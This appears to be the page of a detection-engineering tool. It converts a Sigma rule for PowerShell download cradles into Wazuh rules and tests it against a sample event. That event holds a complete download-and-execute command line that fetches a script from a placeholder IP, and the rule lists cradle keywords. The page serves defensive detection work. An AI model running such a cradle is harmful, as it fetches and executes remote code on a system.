lab · runs in your browser, nothing is uploaded

Detection engineering tools

Paste a Sigma rule and get queries for five platforms, plus an honest list of what each translation lost. Test the rule against a sample event with Sigma's own matching semantics, and share the rule as a link.

sigma.yml

title: PowerShell Download Cradle
id: 4a9b2c1e-11d3-4f7a-9c88-b2f0e3d1a001
status: test
description: >
  Detects the classic in-memory download cradle: powershell.exe invoking
  DownloadString/DownloadFile or IEX. Included as the default example because it
  exercises endswith, contains-any and a filter in one small rule.
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: RuleBridge
date: 2026/01/15
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    - Image|endswith: '\powershell.exe'
    - OriginalFileName: 'PowerShell.EXE'
  selection_cli:
    CommandLine|contains:
      - 'DownloadString'
      - 'DownloadFile'
      - 'IEX('
      - 'Invoke-Expression'
  filter_signed_updater:
    ParentImage|startswith: 'C:\Program Files\Microsoft\'
  condition: selection_img and selection_cli and not filter_signed_updater
falsepositives:
  - Administrative scripts that fetch modules from an internal repository
level: high
tags:
  - attack.execution
  - attack.t1059.001

MITRE ATT&CK

executionT1059.001 ↗

✓ parse sigma→✓ map fields→✓ render Wazuh

<group name="sigma,">
  <rule id="100000" level="10">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i:^.*\\powershell\.exe$)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?:(?i:^.*DownloadString.*$)|(?i:^.*DownloadFile.*$)|(?i:^.*IEX\(.*$)|(?i:^.*Invoke-Expression.*$))</field>
    <field name="win.eventdata.parentImage" type="pcre2" negate="yes">(?i:^C:\\Program Files\\Microsoft\\.*$)</field>
    <description>PowerShell Download Cradle (1/2)</description>
    <mitre>
      <id>T1059.001</id>
    </mitre>
  </rule>

  <rule id="100001" level="10">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i:^PowerShell\.EXE$)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?:(?i:^.*DownloadString.*$)|(?i:^.*DownloadFile.*$)|(?i:^.*IEX\(.*$)|(?i:^.*Invoke-Expression.*$))</field>
    <field name="win.eventdata.parentImage" type="pcre2" negate="yes">(?i:^C:\\Program Files\\Microsoft\\.*$)</field>
    <description>PowerShell Download Cradle (2/2)</description>
    <mitre>
      <id>T1059.001</id>
    </mitre>
  </rule>
</group>

What the translation lost

target.wazuh_split Wazuh rules are AND-only, so the condition was split into 2 sibling rules.

target.wazuh_ids Rule IDs start at 100000. Check them against your local rule-ID bands before deploying.

Field mapping

Image	→	win.eventdata.image	mapped
OriginalFileName	→	win.eventdata.originalFileName	mapped
CommandLine	→	win.eventdata.commandLine	mapped
ParentImage	→	win.eventdata.parentImage	mapped

Compare all platforms

platform	verdict	err	warn	info
Splunk	keeps meaning	·	·	2
Elastic	keeps meaning	·	·	2
Sentinel	keeps meaning	·	·	·
LogScale	degraded lossy.parent_path	·	1	·
Wazuh	keeps meaning	·	·	2

Click a row to open that platform's output.

Test against an event● rule fires

condition uses Sigma semantics, not any one platform's

✓ selection_img

✓ Image expects *\powershell.exe got "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
✗ OriginalFileName expects PowerShell.EXE got (missing)

✓ selection_cli

✓ CommandLine expects *DownloadString* | *DownloadFile* | *IEX(* | *Invoke-Expression* got "powershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.9/a.ps1')\""

✗ filter_signed_updater

✗ ParentImage expects C:\Program Files\Microsoft\* got "C:\\Windows\\explorer.exe"